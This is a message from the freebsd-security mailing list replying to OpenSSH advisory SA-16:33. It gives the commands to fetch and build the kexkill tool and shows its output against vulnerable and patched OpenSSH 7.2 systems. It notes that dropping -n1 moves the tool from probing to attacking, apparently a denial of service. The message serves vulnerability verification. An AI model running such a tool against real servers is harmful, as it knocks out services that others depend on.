From owner-freebsd-security@freebsd.org  Sun Nov  6 14:59:46 2016
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From: =?utf-8?Q?Dag-Erling_Sm=C3=B8rgrav?= <des@des.no>
To: Xin LI <delphij@gmail.com>
Cc: Vladimir Terziev <Vladimir.Terziev@bwinparty.com>,
 "\<freebsd-security\@freebsd.org\>" <freebsd-security@freebsd.org>,
 Gregory Orange <gregory.orange@calorieking.com>
Subject: Re: FreeBSD Security Advisory FreeBSD-SA-16:33.openssh
References: <20161102075533.8BBA114B5@freefall.freebsd.org>
 <201611021357.uA2DvHMW003088@higson.cam.lispworks.com>
 <CA+7WWSc+_Jjf+StVb2n367+7YSCw-RnGMTbT4nbaE88d_n57+g@mail.gmail.com>
 <b8dcb2aa-4149-89ad-e519-8ce68922d0a8@FreeBSD.org>
 <24ff198d-9bd2-9842-50d8-8a1d5e2ecf8a@FreeBSD.org>
 <79b7122f-3b1a-377f-42bf-bd2851c5e6ae@calorieking.com>
 <97DEB29F-E625-4A74-9E1A-BC2A220DCF5A@bwinparty.com>
 <CAGMYy3t+-dZiFEDLEznTFHzHzRnk9-=AyqcqJ7L1BoMQ01HOAg@mail.gmail.com>
Date: Sun, 06 Nov 2016 15:59:38 +0100
In-Reply-To: <CAGMYy3t+-dZiFEDLEznTFHzHzRnk9-=AyqcqJ7L1BoMQ01HOAg@mail.gmail.com>
 (Xin LI's message of "Fri, 4 Nov 2016 10:08:05 -0700")
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Xin LI <delphij@gmail.com> writes:
> We will investigate if the statement is true and will issue patches
> for earlier FreeBSD releases, if they are confirmed to be affected.

Hoping to make your life a little easier:

$ git clone https://github.com/dag-erling/kexkill
$ cd kexkill
$ ./autogen.sh && ./configure && make

vulnerable 12.0 system:

$ ./src/kexkill -v -n1 target |& grep -v "sending kexinit"
kexkill: [03] connected
kexkill: [03] got banner: SSH-2.0-OpenSSH_7.2 FreeBSD-20160310
kexkill: [03] sending banner
kexkill: [03] received kexinit
[no more output]
^C

same system after applying SA-16:33:

$ ./src/kexkill -v -n1 target |& grep -v "sending kexinit"
kexkill: [03] connected
kexkill: [03] got banner: SSH-2.0-OpenSSH_7.2 FreeBSD-20160310
kexkill: [03] sending banner
kexkill: [03] received kexinit
kexkill: [03] read(): Connection reset by peer
kexkill: [03] connected
kexkill: [03] got banner: SSH-2.0-OpenSSH_7.2 FreeBSD-20160310
kexkill: [03] sending banner
kexkill: [03] received kexinit
kexkill: [03] write(): Broken pipe
kexkill: [03] connected
kexkill: [03] got banner: SSH-2.0-OpenSSH_7.2 FreeBSD-20160310
kexkill: [03] sending banner
kexkill: [03] received kexinit
kexkill: [03] read(): Connection reset by peer
[...]
^C

Remove -n1 to actually (attempt to) attack the system rather than just
probe it.

DES
--=20
Dag-Erling Sm=C3=B8rgrav - des@des.no